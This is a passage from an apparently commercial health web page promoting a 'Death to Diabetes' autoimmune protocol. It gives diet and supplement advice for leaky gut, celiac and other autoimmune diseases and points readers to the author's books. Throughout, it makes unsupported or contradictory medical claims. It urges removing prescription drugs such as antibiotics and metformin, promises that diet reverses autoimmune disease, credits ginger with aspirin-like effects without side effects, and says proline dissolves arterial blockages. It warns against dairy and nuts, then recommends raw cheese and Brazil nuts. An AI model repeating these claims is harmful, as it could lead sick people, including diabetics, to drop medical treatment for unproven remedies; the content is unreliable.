they affect your health and how to treat them (especially if you have diabetes, an autoimmune disease, a food sensitivity issue or a leaky gut), refer to the Vitamin and Mineral Deficiencies web page. Based on the DTD Autoimmune Protocol (AIP) &Autoimmune Diseases Nutritional Program, the following nutritional strategies are designed to address inflammation, candida, and gut health associated with the specific autoimmune disease and to help calm, rebalance and strengthen the immune system. There are many superior foods (aka super foods) that offer an alternative to conventional anti-inflammatory medications, especially anti-inflammatory and antioxidant-rich foods such as green vegetables, bright-colored vegetables, seaweed, raw vegetable juices, bone broth, cold-water fish, garlic, and plant oils. Green vegetables include: anise, artichoke, asparagus, bok choy, broccoli, cabbage, carrots, cauliflower, celery, chives, cucumbers, garlic, kale, kohlrabi, leeks, lettuce, mustard greens, onions, parsley, radishes, shallots, spinach, squash, sweet potatoes, water chestnuts, watercress, zucchini. These vegetables can be consumed in a variety of ways: raw, steamed, sautéed, baked and stir-fried. But, do not boil your vegetables! -- that destroys the water-soluble vitamins such as the B vitamins and Vitamin C. Note: If possible, eat organic vegetables to reduce the exposure to pesticides and other toxins, which can trigger an autoimmune response. Sea vegetables or seaweed is another excellent super food, which is loaded with essential minerals, carotenoids, and even long-chain omega-3 fatty acids, making it a powerful addition to your nutritional program. In fact, the benefits of seaweed are even greater than most of us realize. Although each variety of seaweed has a different overall profile of vitamins and minerals, in general, you can expect these foods to be rich in: calcium, chromium, copper, iodine, iron, magnesium, manganese, potassium, phosphorus, selenium, zinc, B vitamins (B1, B2, B3, B5, and B6), Vitamin C, Vitamin E, Vitamin K, and dozens of additional trace minerals! Numerous studies have shown that some components in seaweed help fight inflammation! For example, the fucoxanthin in seaweed can help reduce excessive inflammation in the body. Another health benefit of seaweed is supporting cardiovascular health. The antioxidant and anti-inflammatory properties of fucoxanthin can halt the progression of heart disease, while also modulating immune function. And, research has shown that a many seaweeds have hypolipidemic (lipid-lowering) activity, helping reduce levels of triglycerides and LDL cholesterol. And, the DHA found in algae and algal oil can not only reduce triglycerides and LDL cholesterol, but also raise HDL cholesterol. Believe it or not, bone broth is a super food that should be at the top of food list. For those of you who are old enough to remember, our grandmothers and great grandmothers (and, maybe some mothers) spent all day in the kitchen preparing various soups and stews. They would also cook and boil the bones, especially the bones from cows and chickens. When I was growing up, one of my uncles had a big farm, and my father had a garden in the backyard where he grew vegetables. They didn't believe in throwing anything away. So, they along with my grandmother and mother would boil the bones while preparing various soups and stews. My father really liked making his own vegetable soup or stew, which would cook all day long. I didn't realize it at the time, but, when they boiled the bones, it pulled out the collagen and other nutrients buried inside the bones and created this liquid (I don't remember any of them giving it a name, but, today that liquid is called bone broth. My grandmother or mother would add this to the soup or stew. This is one of the reasons why chicken soup was so nutritious back then! The bones usually had some connective tissue, like joints and tendons, and some meat attached. These bones were boiled for all day long to liberate their nutrients and create this liquid. From a nutritional standpoint, broth is rich in two valuable amino acids (glycine and proline) which help to heal internal wounds and a leaky gut! We don't usually get these amino acids from eating regular meat, which is usually muscle meat. These amino acids are not classified as "essential" because our body is supposed to be able to manufacture it. But, the reality is that as we age and if we have any kind of disease, the body becomes inefficient at manufacturing these amino acids. Now, if you can't see yourself in the kitchen for hours making your own broth (I know I can't) :-) -- you can buy bone broth online, e.g. Kettle & Fire, Epic. However, be careful because most of the online bone broth doesn't contain the collagen and gelatin, which includes these amino acids. Instead, try to find a place that makes its own bone broth and freezes it to lock in the nutrients, e.g. Peter's Paleo, U.S. Wellness Meats. Fermented foods are another excellent super food. These foods include fermented cucumbers, kefir, kimchi, kombucha, pickled ginger, coconut yogurt, sauerkraut, organic/homemade yogurt, etc. Fruits are okay as long as they are low-glycemic fruits. Fruits with a Low GI include: apples, apricots, avocados, blackberries, blueberries, other berries, dark cherries, grapefruit, kiwi, lemons, limes, peaches, pears, plums. But, limit your intake to 1 fruit a day at the most. If you're diabetic, avoid fruit until you reach Stage 4 of the Death to Diabetes Wellness Program. Note: If possible, eat organic fruits to reduce the exposure to pesticides and other toxins. Use only plant oils, which include: monounsaturated fats (extra virgin olive oil, avocado oil); saturated fats (extra virgin coconut oil); unprocessed cod liver oil. Avoid all vegetable oils including canola oil! Include coconut products, such as coconut butter, coconut cream, coconut milk, coconut oil, unsweetened coconut flakes, unsweetened coconut yogurt. If you eat meat, only eat grass-fed animal meat. These meats include beef, bison, chicken, duck, fish, lamb, turkey, and venison. Select grass-fed, hormone-free and antibiotic-free meats. Best choice is grass-fed and pastured meats from a local farm. Second best is organic. Avoid factory-farmed meats that contain antibiotics and hormones. Fish should be ocean-caught with a low mercury content, e.g. wild salmon, sardines. Avoid swordfish, most tuna, and king mackerel because they are very high in mercury. When suffering with an autoimmune disease it is imperative to eat foods that aid and support the immune system. Foods that contain vitamin E and C are crucial for proper immune functioning, such as blueberries, oranges, papaya, and guava. Examples of immune modulators include curucmin, blackseed oil, Vitamin D3, and magnesium-rich foods (i.e. spinach, kefir, raw pumpkin seeds). *Please Note: However, if you have an autoimmune disease, be careful with herbs such as echinacea, which may over-stimulate the immune system and trigger an over-response with increased inflammation. Autoimmune Protocol (AIP): Avoid the Trigger Foods ("Dead" Foods) Like the Plague! As part of the DTD Autoimmune Protocol (AIP) & Nutritional Program, it is also important, actually it's very important that you avoid the "trigger" foods -- that is, the foods that can trigger an autoimmune response. These foods contain specific ingredients or chemicals that can irritate the gastrointestinal system and trigger an allergic or immuneresponse. Even if you don't have an autoimmune disease, but, if you have allergies or if you are hyperactive, have mood swings and/or crave sweets, you may need to avoid these "trigger" foods. Also, if you have any gastrointestinal problems (such as leaky gut), you may want to avoid these "trigger" foods. These trigger foods include: white flour (alloxan), wheat, gluten, grains, cow's milk (casein), cow's cheese, other dairy, vegetable oils, canola oil, legumes, beans, nuts, and seeds. There are some "trigger" foods that are usually identified as "healthy" foods, but, if you have an autoimmune disease, it is highly recommended that you avoid these so-called healthy foods, including wheat, grains, flour, cereals, breads, pastries, cow's milk, cheese, etc. Sugar foods to avoid include: All sweets, artificial sweeteners, cakes, candy, diet soda, bottled fruit juices, pies, pastries, soda; anything with glucose, sucrose, etc. Processed meats to avoid include: lunch meat, ham, pepperoni, salami, bologna, sausage, bacon, hamburger, etc. Flour, grains, gluten-based foods to avoid include: bread, cereals, corn, pasta, rice, potatoes, wheat, processed foods, fast foods, etc. FYI: Grains contain a compound called lectins, which are not broken down in the normal digestive process. These compounds activate the resident immune cells of the gut, which respond by producing inflammatory cytokines (the chemical messengers that circulate in the blood and tell white blood cells to attack) as well as antibodies against these foreign proteins. The causes damage to the gut lining, creating very small holes in the intestines, allowing the entrance of food particles, toxins, drugs, etc. that are not supposed to get into our blood stream. Gluten is the most common food sensitivity and is by far the most damaging. In many individuals, gluten can create a space in between the cells through which gut contents can escape, adding yet another way that this particular lectin can cause a leaky gut. Once gluten has passed through the gut lining, it stimulates the resident immune cells of the gut to start producing antibodies. Gluten is especially insidious because parts of this protein closely resemble many proteins in the human body, so there’s a high likelihood that some of the antibodies produced to target it will also target human Healthy cells! If you are sensitive to gluten, then the irritation of the mucus in the gastrointestinal tract causes the production of a substance called zonulin, a protein that widens the spaces between cells. As a result, little particles and toxins are able to filter into the blood and the organism starts to produce antibodies against these uninvited guests. Intolerance to gluten is an autoimmune disease that provokes different symptoms, with the most severe form of gluten intolerance being a disease called Celiac Disease. In addition to grains, legumes (especially soy and peanuts) are very high in lectins, which have the greatest negative impact on the barrier function of the gut. And, if damaging the gut lining and causing systemic inflammation isn’t enough, lectins are also anti-nutrients, which means they stop us from absorbing many of the vitamins and minerals in our food like calcium! There are other trigger foods that are primarily healthy foods for most people. For example, most diabetics are able to eat nuts and seeds, which help with their blood glucose control. However, if you also have an autoimmune disease, you may have to avoid most nuts and seeds or eat them in very small quantities. Depending on your autoimmune disease and other health issues, you may have to avoid some or all of these foods -- especially if you have a leaky gut or an autoimmune disease associated with the digestive system (e.g. Crohn's disease, Ulcerative Colitis), you should avoid the following possible trigger foods. These additional trigger foods include nightshade vegetables, legumes, eggs, spices. Nightshade vegetables & fruits include: capsicum, cayenne pepper, chili powder, curry, eggplant, Goji berries, gooseberries, okra, white potatoes, paprika, red peppers, other peppers, tomatoes; and, herbs including: ashwagandha. Nightshades contain lectins and saponins (which can increase gut permeability and act as an adjuvant, exaggerating immune responses). Lectins resist digestion (typically due to high proline content), and have the ability to strongly interact with proteins in the membrane of the cells that line the intestine (and some can even bind to receptors in those membranes and be transported intact across the intestinal barrier), causing a leaky gut. Legumes that may need to be avoided include: beans, lentils, nuts, peas, and seeds. Beans slow down the sugar transport from the gut to the bloodstream, which is beneficial for diabetics. But, the irreversible increase in gut permeability is just not worth it! Soaking beans before cooking them definitely reduces many of the more problematic proteins and antinutrients, while also making them more digestible and the nutrients in them more bioavailable. If you’re planning on eating beans or lentils as a large portion of your diet, then, it’s worth knowing that you’re not actually absorbing a lot of the minerals. This is particularly important if you’re considering replacing meats and animal fats with legumes, since (grass-fed, organic) meats and animal fats are some of the most nutritious foods you can eat. In addition, phytates within the beans and legumes also inhibit the functioning of certain enzymes that are critical to digestion, such as pepsin and amylase. When you eat lectins, you may or may not feel any immediate effects, but lectins often lead long-term to all sorts of problems, such as not being able to properly absorb vitamins and minerals, food allergies, arthritis, and a variety of other issues. Still, it’s something to consider. In particular, if you have any existing gut issues (IBS, for instance) or any autoimmune conditions (like Crohn's or Hashimoto's), then lectins are probably going to be far more problematic for you. PLEASE NOTE TO CURRENT DIABETIC CLIENTS: There may appear to be some conflicting information on my website concerning what foods to eat vs. not eat. As part of the original Death to Diabetes Nutritional Program that I designed years ago for Type 2 diabetics, I included beans, nuts, seeds, and eggs as healthy foods. However, if you are a Type 2 diabetic and have an autoimmune disease or a leaky gut, then, you should avoid these foods. I realize that this is confusing, but, for those of you who called, emailed or attended one of our autoimmune disease classes, you now understand why these foods can be problematic and should be avoided -- at least until your immune system is back in balance. If you read my Death to Diabetes book closely, you'll notice that I mention (in Chapter 17) to soak beans and to avoid roasted nuts and buy only raw nuts -- but, I didn't bother to explain that the reason was due to an autoimmune issue. I also mentioned in the earlier chapters to avoid cow's milk, cheese, flour, grains, wheat, and cereals. Again, I didn't really explain the rationale behind this in any detail, so some of you may have overlooked the importance of this information. At this point, if you are still struggling with your autoimmune disease, as I mentioned in class, I strongly recommend that you get the new and expanded version of my Autoimmune Diseases book -- it will clarify and explain all of this for you. As depicted in the diagram (below) of the new Super Meal Plate for Autoimmune Diseases, your meals should include a balance of healthy carbs (vegetables, seaweed), healthy fats (extra virgin olive oil/avocado oil) and healthy proteins (wild-caught fish, grass-fed animal meat, bone broth). In addition, people without an autoimmune disease (especially young children) may also have a leaky gut, especially if they have allergies, skin problems (e.g. eczema); or, if they are hyperactive, have mood swings and/or crave sweets. A leaky gut (often referred to as increased intestinal permeability), occurs when the tight junctions within the small intestine become damaged and develop microscopic holes. These microscopic holes allow bacteria, toxins, proteins (such as gluten), undigested foods particles and other chemicals to pass through into the bloodstream. The following flow chart provides a high level depiction of the stages in which leaky gut develops within the body. This is important because it shows that you can exhibit some of the symptoms associated with food sensitivities without having developed a leaky gut yet. Consequently, if you catch this early before it gets out of control, you can stop the progression to a leaky gut as well as stop the development of an autoimmune disease. Initially, there is a gut lining disruption due to the consumption of trigger foods and/or OTC/prescription drugs. Some of the trigger foods include gluten/wheat, milk, cheese, ice cream, cereals, other grains, etc. Some of the drugs include antibiotics, metformin and NSAIDs. Eventually, you start to experience a lot of gas, bloating, fatigue and/or other symptoms of discomfort, including nausea, stomach pain and cramping. And, this may lead to bowel problems such as constipation and diarrhea. Over a period of time, as the inflammation becomes chronic, you start to have more negative reactions to more foods, compounds, and medications. The inflammation causes damage to the gut lining, creating microscopic holes in the gut lining -- this is called leaky gut. It is called "leaky gut" because the small holes allow food particles and chemicals or toxins to leak into your bloodstream. When this happens, your immune system attacks the intruders, thinking that you're being invaded by a dangerous pathogen of some kind. This can lead to a host of symptoms. And, if the leaky gut persists for years without any proper intervention or if the intervention includes drugs to try to "fix" the problem, then, this can eventually manifest itself as an autoimmune disease such as celiac disease, Crohn's disease, lupus, Hashimoto's Thyroiditis, or Type 1.5 diabetes. The following diagram provides a little different perspective on how leaky gut is triggered by stress, toxins, food particles, drugs, pathogens, infection or organ malfunction. When this happens, the immune system assumes that your body is being attacked, so it mounts a counterattack, causing inflammation of the GI tract. This inflammation can lead to stomach discomfort, digestive problems, food sensitivities, an allergic response, and/or an autoimmune response. Toxic waste can also leak from the inside of your intestinal wall into your bloodstream causing an immune reaction. If you have a leaky gut, you can repair your gut by following the DTD Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program. The side benefit of repairing your gut is that it will either prevent the development of an autoimmune disease or help to reverse your autoimmune disease. 1. Remove: It's very important to remove the bad. Get rid of foods, chemicals, toxins and drugs that damage the intestinal lining, such as gluten, grains, sugar, trans fats, MSG, OTC drugs, prescription drugs (especially antibiotics), and intestinal infections. 2. Replace: Next, it's just as important to replace the good. Add back or reintroduce the essential ingredients for proper digestion and absorption, such as digestive enzymes, hydrochloric acid and bile acids. 3. Reinoculate: It’s critical to restore the gut flora balance with good bacteria by using a high quality probiotic supplement to reestablish a healthy balance of good bacteria. 4. Repair: It’s essential to provide the key nutrients necessary to help repair the gut. Key foods and supplements include bone broth (glycine, proline), digestive enzymes, licorice root, quercetin, and l-glutamine, an amino acid that helps to rejuvenate the lining of the gut wall. Note: If you still have symptoms after following the above recommendations, get the author's Autoimmune Diseases ebook, which goes into a lot more detail. Another option is to contact a Functional Medicine physician in your area to work with you and to order a comprehensive stool test. Follow a nutrient-dense diet such as the DTD Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program (described above). This nutritional program includes lots of vegetables, cold-water fish, plant oils, filtered/distilled water. This nutritional program also recommends that you avoid milk, other dairy, gluten, wheat, flour, grains, sugar, trans fats, excess animal meat, and prescription/OTC drugs. Here is a list of foods that specifically support healing the gut because they are easy to digest and can help repair the lining of the intestines. Bone broth: contains collagen and the amino acids proline and glycine that can help heal your damaged cell walls, because it contains the key amino acids (e.g. proline, glycine) and key minerals (e.g. magnesium, potassium, zinc) that help to heal a leaky gut, improve mineral deficiencies and even help with some autoimmune diseases. Coconut oil: extra virgin coconut oil is especially good for your gut because of the medium-chain-fatty-acids, which are easier to digest than other fats and work well with healing a leaky gut. Also, coconut kefir contains probiotics that support your digestive system. Healthy fats: Consuming healthy fats in moderation like egg yolks, wild salmon, avocados, ghee and virgin coconut oil are easy on the gut and promote healing. Raw cultured dairy: contains both probiotics and short-chain-fatty-acids that can help heal the gut. Probiotic-rich foods like kefir, raw butter, raw cheese and yogurt can help heal the gut by destroying bad bacteria like candida. Fermented vegetables: contain probiotics and organic acids that balance the pH in the stomach and small intestines to help heal the gut. Try to add fermented foods such as coconut kefir, kvass, sauerkraut or kimchi to your diet. Steamed vegetables: that are steamed (not boiled!) are easy to digest and provide key vitamins, minerals and other nutrients such as chlorophyll to help heal a leaky gut. Fruit: Consuming 1-2 servings of a low-glycemic fruit (e.g. berries) daily is good on a leaky gut diet. But, if you're diabetic, you should avoid fruit until you reach Stage 4 of the Death to Diabetes Program for Type 2 Diabetics. You can steam apples and pears to make homemade apple sauce or fruit sauce. Fruit is best consumed with a few raw nuts (assuming you're not allergic!) because the protein, Omega-3 fats and fiber in the nuts offset the sugar in the fruit. Note: This leaky gut protocol can also be used for treatingceliac disease and other autoimmune diseases. Gluten: is the sticky protein found in most grain products including wheat and is difficult to digest. Avoid all foods that contain gluten and wheat. Cow's Dairy: contains a protein called A1 casein, which can trigger a a more powerful inflammatory reaction than gluten and therefore should be avoided. Avoid cow's milk, cheese, ice cream, etc. Soy: except for fermented soy such as tempeh and miso,should be avoided, because it contains phytic acid which can irritate the intestines causing leaky gut. Sugar: feeds yeast and bad bacteria that can damage the intestinal wall creating a leaky gut. If you are going to use a sweetener, avoid artificial sweeteners like the plaque! Instead, try stevia, xylitol or raw (Manuka) honey, but limit your daily consumption to 1-2 tbsp, especially if you're diabetic. Grains: should be avoided because they contain phytic acid which can irritate the intestines causing leaky gut. GMO: Genetically modified organisms contain herbicides and pesticides that damage the gut lining. Studies out of the Journal of Environmental Sciences have found that GMO foods (e.g. corn, potatoes, soy) destroy the probiotics in your gut and cause organ inflammation. After you change your diet to stop any further damage to your gut, taking the following supplements can be very beneficial with aiding in and speeding up the recovery process of healing a leaky gut. Bentonite Clay: which is made from volcanic ash, loaded with beneficial vitamins and minerals such as copper, magnesium, calcium, iron, potassium, and more. Since bentonite clay has a strong negative charge, it acts as a magnet for positively charged toxins, bacteria, pesticides, pathogens, and healthy metals. Once bentonite clay is moistened, it immediately binds to nearby toxins. According to researchers, this is great for flushing out potentially harmful substances in the gut. Additionally, by removing harmful toxins and bad bacteria in your intestines, you are allowing your gut’s good bacteria to flourish. If you have Leaky Gut Syndrome or Inflammatory Bowel Disease (IBD), the increased permeability of the intestinal wall may provide little resistance to the re-absorption of heavy metals, which then travel back to where they came from – the brain, kidneys, liver, connective tissue, etc., or are deposited into previously healthy tissue. The problem with leaky gut and bowel inflammation in general, is that they are very difficult to treat while the metals are still present in that tissue and continuing to cause inflammation. Mercury is known to create antibiotic resistant bacteria, so, the presence of mercury in the bowel could therefore contribute to the severity and duration of intestinal infections. When consumed, bentonite clay and the toxins it binds to move through the intestines. Eventually, they are both eliminated from the body via the colon. Researchers say it has shown to be promising in relieving nausea, acid reflux, diarrhea, Irritable Bowel Syndrome (IBS) and Leaky Gut Syndrome, but, needs more research. Warning: While bentonite clay is beneficial for digestive health, one of the main side effects is constipation. That’s because the clay pulls water from the colon as it passes through the intestines. For this reason, it’s important to drink a lot of water when consuming bentonite clay. Also, mix in 1 tablespoon of psyllium fiber or drink a separate glass of fiber and water to help move the bentonite clay through your colon. Note: Bentonite clay can also be used externally (on the skin, in a bath, in a poultice, etc.) for face masks, bath/shower cleansing, wound healing, insect bites, and a variety of other therapeutic purposes. Betaine Hydrochloric Acid (HCL): promotes optimal gastric acidity for support of protein digestion and absorption of minerals and other nutrients such as vitamin B12. Caprylic Acid: is a naturally occurring fatty acid that comes from coconut oil; and, is known for it’s antiviral and antifungal activity. For those who feel that you may be suffering from Candida or yeast overgrowth this is a safe, effective and natural way to treat Candida. Curcumin: can prevent chronic inflammation by controlling the inflammatory pathways which leading to tissue damage, histamine release, immune cell activation and digestive disturbances. Associated with improving the immune response of patients with autoimmune diseases in clinical trials, curcumin heals leaky gut in much the same way as does quercetin. Curcumin regulates a healthy concentration of macrophages and does not interfere with the immune’s response to normal infections. Adding curcumin to your diet will equip your body with a powerful compound to scavenge free radicals and prevent tissue injury along the digestive tract. Digestive Enzymes: are plant or microbial-based supplements that support the breakdown, absorption, and utilization of macronutrients. Taken with meals, they work with the body’s own reduced supply of enzymes to achieve maximum digestion and support intestinal repair mechanisms. Ginger: can be used to treat pain associated with intestinal inflammation by relieving contractions of the gut lining. For this reason, ginger has traditionally been used to treat nausea, relieve symptoms associated with a woman’s menstrual cycle and treat morning sickness. Ginger exhibits powerful antimicrobial properties which not only make it an economical treatment but highly effective and natural antibiotic as well. Ginger has been extensively found to combat strains of bacteria linked to leaky gut. Unlike synthetic antibiotics, ginger has been effective against both standard and drug resistant microbes in treating gastrointestinal infection. Ginger contains the active component, 6-gingerol, enabling it to exhibits comparable inflammation prevention control as do drugs like aspirin and ibuprofen, but, without the side effects. Ginger is a digestive stimulant that promotes gastric flow and contains enzymes which aid in proper digestion. L-Glutamine: is an amino acid that is fundamental to the well-being of the digestive and immune systems. L-Glutamine is critical for any program designed to heal leaky gut. Glutamine powder is anti-inflammatory and necessary for the growth and repair of your intestinal lining. L-glutamine benefits include acting as a protector: coating your cell walls and acting as a repellent to irritants; and, reducing sugar cravings. Licorice Root: or deglycyrrhizinated licorice (DGL): is an adaptogenic herb that helps balance cortisol levels and improves acid production in the stomach. DGL supports the body’s natural processes for maintaining the mucosal lining of the stomach and duodenum. This herb is especially beneficial if someone’s leaky gut is being caused by emotional stress. Magnesium: A healthy gut environment is necessary for proper absorption of magnesium. Irritable bowel syndrome, leaky gut, candidiasis and other gut disorders can severely limit the amount of magnesium that the body will be able to absorb. Magnesium is an essential mineral required by the body for maintaining normal muscle and nerve function, keeping a healthy immune system, maintaining heart rhythm, and building strong bones. Magnesium is also involved in at least 300 biochemical reactions in the body. A deficiency in magnesium can lead to muscle spasms, cardiovascular disease, diabetes, high blood pressure, anxiety disorders, migraines, osteoporosis, and cerebral infarction. Older adults often experience decreased stomach hydrochloric acid production, which can impair mineral absorption in general. And with so many treating their “heartburn” with antacids, a healthy digestive environment is hard to maintain. Magnesium-rich foods include dark leafy greens, nuts, seeds, fish, beans, avocados, and yogurt. Marshmallow Root is a multi-purpose supplement that can be used for respiratory or digestive relief. Like slippery elm, it contains a high mucilage content. It eases the inflammation in the stomach lining, heals ulcers, and treats both diarrhea and constipation by creating a protective lining on the digestive tract. Probiotics: Our gut is full of “good” and friendly bacteria that help us properly break down and digest our food. They help keep our gut in check and prevent ‘bad’ bacteria from overgrowth. Unfortunately, these friendly bacteria can be depleted and disrupted by taking antibiotics, steroids, acid-blocking medications, eating a poor diet, and many other factors. Probiotics are the most important supplement to take because it helps replenish good bacteria and crowds out bad bacteria. The part that most people often leave out is re-inoculating their gut with beneficial bacteria that will keep bad bacteria at bay. So load up on both probiotic-rich foods (e.g. fermented vegetables, sauerkraut, kefir) and take a highly concentrated dose (25-100 billion units a day) of probiotics on a daily basis to help you regain a healthy balance of bacteria in your gut. Quercetin: has been shown to improve gut barrier function by sealing the gut because it supports creation of tight junction proteins. It also stabilizes mast cells and reduces the release of histamine, which is common in food intolerance. New studies have shown its effectiveness in healing ulcerative colitis. Dietary sources of quercetin can be found in apples, capers, onions as well as berries, herbs like parsley, sage and even green tea. Slippery Elm: has been used as an effective gut healer for centuries in the United States. This supplement both contains mucilage and stimulates nerve endings in the body’s intestinal tract to increase natural mucus secretion, which is an instrumental part of the stomach’s protective lining and helps combat ulcers and excessive acidity in the digestive system. It also contains important antioxidants that help relieve inflammatory bowel symptoms. Zinc: is able to improve intestinal permeability and heal leaky gut. Patients with Crohn’s disease have successfully used zinc supplementation to decrease the ulcerations of the gut associated with leaky gut and support immune system function. Zinc glycinate is one of the most bioavailable forms of zinc because it is readily absorbed and retained. It helps to counter the phytates found in foods like nuts, which can pull vitamins and minerals like zinc out of the body’s stored reserves. Caution: If you are taking any medications, make sure that you consult with your physician, since some supplements can interfere with the effectivity of the drugs and cause an adverse reaction. Celiac disease, which is also known as celiac sprue or gluten-sensitive enteropathy, is an autoimmune disorder that damages the small intestine when the diet contains gluten. Gluten is the protein in wheat that makes dough elastic. It is also found in rye and barley. Oats and other grains may trigger celiac disease in some people. What are some celiac disease symptoms? Celiac disease tends to run in families and, like other autoimmune conditions, can be triggered by physical stress such as surgery, pregnancy, childbirth, car accident, and viral infection. Sometimes, severe emotional stress can also trigger it. A gluten allergy (or sensitivity, meaning the type that isn’t celiac disease) increases the production of inflammatory cytokines. These are sent out from the immune system in order to attack perceived threats throughout the body. This happens in certain people due to a combination of both environmental and genetic factors. People with celiac disease usually have a genetic predisposition to having a gluten allergy (including abnormalities in human leukocyte antigens and non-HLA genes), although having celiac disease in the family alone doesn’t mean someone will necessarily be diagnosed. One of the hallmarks of celiac disease is high levels of antibodies resulting from contact with gliadin, one compound that makes up the protein gluten. Exposure to gliadin can turn on specific genes in someone’s immune cells that trigger the release of cytokine chemicals. Cytokines are normally beneficial when they do their intended job — helping repair and protect the body from things like bacteria, viruses, infections and injuries. However, we know that cytokines are also pivotal players in causing chronic inflammation, the root of most diseases. High inflammation levels are tied to generally poor health and higher rates of disease. High inflammation ups the risk for myriad health problems, including mental disorders, autoimmune diseases and even cancer. Research also suggests that people with other autoimmune disorders and diabetes are at a higher risk for having celiac disease because they share some of the same genetic factors and immune reactions. Until recently, celiac disease was thought to be uncommon in the United States, but recent data suggest about 2 million Americans have it – about 1 in 133 people. Among those with a first-degree relative diagnosed with celiac disease, the prevalence can be as high as 1 in 22. Celiac disease can be under-diagnosed for a variety of reasons, from its confusion with other intestinal disorders to doctors’ having limited knowledge of the disease and limited access to laboratories experienced in testing for it. Do people with celiac disease have a higher risk for other diseases? The best natural treatment strategy for celiac disease is to follow a balanced and comprehensive autoimmune nutritional protocol such as the DTD AIP Nutritional Protocol that will actually help to repair your gut. Following a gluten-free diet is simply not good enough. Although a gluten-free diet will help to control and manageyour celiac disease, it won't prevent flareups and progression of the disease -- because there are other foods and toxins that can trigger an autoimmune attack on his gastrointestinal system. In addition, a gluten-free diet is not comprehensive enough to repair your gut or address one of the more serious issues associated with most people suffering with celiac disease -- intestinal permeability (leaky gut). Eating even a small amount of gluten and other trigger foods can result in damage to the intestine. You can’t eat regular pizza, or sourdough bread, on a gluten-free diet. You must avoid all foods containing wheat, oats, barley, rye and possibly other grains. Also, beware of some"gluten-free" foods! -- Some of them contain ingredients that are not healthy for you! Following a comprehensive autoimmune nutritional protocol diet will greatly improve and may even completely resolve celiac disease symptoms, heal existing intestinal damage, and prevent further problems. Improvements can begin within days of starting the diet. Many people with celiac disease also need to take supplements to help rebuild their nutrient stores and heal symptoms caused by malabsorption. This can include deficiencies in iron, calcium and vitamin D, zinc, B6, B12, and folate. These are a common celiac disease symptoms because the digestive tract cannot absorb nutrients as well when damage and inflammation occurs, which means even if you eat a great diet otherwise, you might still have deficiencies. Healing completely involves a restoration of the intestinal villi that can absorb nutrients from food into the bloodstream as well as keep the gut from leaking. This usually takes place faster in children than in adults – kids having resolution in as little as 3 to 6 months while older adults may need as much as 2 years. Here is a list of the top 10 super foods from the DTD Autoimmune Protocol (AIP) & Autoimmune Diseases Nutritional Program that you should include as part of your nutritional program to help reverse your autoimmune disease and rebalance your immune system. Bone Broth: is the liquid made from boiling bones in water anywhere from a few hours to 40 or more hours to liberate their nutrients and create a nutritious liquid that contains collagen, gelatin and other key nutrients. From a nutritional perspective, bone broth contains minerals and amino acids, which are the building blocks of protein, used in every cell in our bodies! Bone broth is rich in two very valuable amino acids that we don't get from our diets: glycine and proline. These amino acids are identified as "conditionally essential" or non-essential because the body is able to manufacture these amino acids from the 9 essential amino acids that we can get from animal and plant sources. However, as we get older or when we have a disease, the body struggles with being able to manufacture these amino acids. Both of these amino acids are found in connective tissue, which is the biological “glue” that holds our bodies together and play major roles in healing, especially if you have a leaky gut. We need these two amino acids to heal wounds and the microscopic damage done to blood vessels and other tissues in our body caused by inflammation and infection. In fact, glycine is known to reduce the activation of inflammatory cells from your immune system, which is important if you have an autoimmune disease. Whether you are trying to heal from an infection, address an auto-immune disease, or reduce inflammation, high levels of glycine and proline are critical. If you're diabetic, glycine provides a benefit by helping to regulate blood glucose levels by controlling gluconeogenesis (the manufacture of glucose from proteins in the liver). Glycine also enhances muscle repair/growth by increasing levels of creatine and regulating Human Growth Hormone (HGH) secretion from the pituitary gland. Proline helps in reversing atherosclerotic deposits, which is important if you have diabetes or heart disease. Proline enables the blood vessel walls to release cholesterol buildups into your blood stream, decreasing the size of potential blockages in your heart and the surrounding blood vessels. Proline also helps your body break down proteins for use in creating new, healthy muscle cells. Brazil Nuts: contain selenium, which is required for thyroid hormone production, for protecting the brain against oxidative damage, and for protection from cardiovascular disease and cancer. The good news is that you can obtain all of the selenium you need by consuming one ounce of raw Brazil nuts every day. If you don’t like Brazil nuts then garlic is also a good source of selenium. Chlorella: is a blue-green algae that has anti-inflammatory properties and helps to provide energy faster and build immunity. Chlorella also helps to remove toxins such as heavy metals, which are one of the major triggers for autoimmune diseases. Spirulina is another blue-green algae with a higher protein profile that also helps the immune system. Chlorella, spirulina and wheat grass contain high levels of chlorophyll, which helps to cleanse and detox the body and stabilize blood glucose levels; and, provide a balancing and calming effect on the immune system. Coconut oil (Extra virgin): can be helpful to the thyroid because of its high content of medium chain fatty acids and lauric acid. Also, coconut oil helps to promote your metabolism by providing thyroid support. Coconut oil acts in tandem with the thyroid to improve sensitivity of tissues to thyroid hormones and maintain an optimum metabolic rate. More importantly, you should avoid canola oil and most of the vegetable oils that we use to cook food and those used in commercially-prepared foods. These polyunsaturated vegetable oils have a negative affect on the thyroid and may in fact be the worst villains in the spread of thyroid diseases. Fermented vegetables: contain probiotics and organic acids that balance the pH in the stomach and small intestines to help heal the gut. Fermented foods include coconut kefir, kvass, sauerkraut and kimchi. Fruits: with a low glycemic index (GI) include: apples, apricots, avocados, blackberries, blueberries, other berries, dark cherries, grapefruit, kiwi, lemons, limes, peaches, pears, plums. Plant oils: include monounsaturated fats (extra virgin olive oil, avocado oil); saturated fats (extra virgin coconut oil). Grass-fed Animal Meats: include beef, bison, chicken, duck, fish, lamb, turkey, and venison. Select grass-fed, hormone-free and antibiotic-free meats, preferably from a local farm. Avoid factory-farmed meats that contain antibiotics and hormones. Fish should be ocean-caught with a low mercury content, e.g. wild salmon, sardines. Avoid swordfish, most tuna, and king mackerel because they are very high in mercury. Grass-fed Organ Meats: Compared to the muscle meat we are used to eating, organ meats are more densely packed with just about every nutrient, including heavy doses of B vitamins such as: B1, B2, B6, folic acid and the very important vitamin B12. Organ meats are also loaded with minerals like phosphorus, iron, copper, magnesium, iodine, calcium, potassium, sodium, selenium, zinc and manganese and provide the important fat-soluble vitamins A, D, E and K. Organ meats are known to have some of the highest concentrations of naturally occurring vitamin D of any food source. Organ meats also contain high amounts of essential fatty acids, including arachidonic acid and the omega-3 fats EPA and DHA. Surprisingly, some organ meats such as kidney and pancreas even contain Vitamin C! Note: If you don't like organ meats, then, try a desiccated liver supplement. But, make sure the supplement comes from grass-fed animals. Sea Vegetables or Seaweed: is loaded with essential minerals, carotenoids, and even long-chain omega-3 fatty acids, making it a powerful addition to our diets. Although each variety of seaweed has a different overall nutrient profile of vitamins and minerals, in general, you can expect these foods to be rich in: calcium, chromium, copper, iodine, iron, magnesium, 